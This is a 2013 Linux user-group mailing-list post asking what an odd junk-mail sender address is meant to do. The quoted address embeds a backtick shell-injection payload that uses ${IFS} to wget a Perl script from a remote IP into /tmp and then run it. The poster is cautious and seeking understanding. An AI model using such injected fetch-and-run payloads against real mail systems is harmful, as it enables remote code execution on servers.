[GLLUG] Can anyone tell me what this is trying to do?
John Winters
john at sinodun.org.uk
Mon Nov 4 16:26:15 UTC 2013
Amongst the junk e-mails which I receive, I get the odd one with a really
weird sender name. Like this:
I've split it over several lines at silly places. I presume it is
harmless in the body of an e-mail, but just to be safe.
x`wg
et${IFS}-O${IFS}/tm
p/p.pl${IFS}117.239
.156.162/user.pl``perl${IFS}/t
mp/p.pl`@bla
at.com <x`wget${IFS}-O${I
FS}/tmp/p.pl${IFS}117.23
9.156.162/user.pl``p
erl${IFS}/tmp/p.pl`@blaat.com>
I've been googling, but can't discover what this is trying to do. Is it a
current vulnerability in any common MTA?
Cheers,
John
More information about the GLLUG
mailing list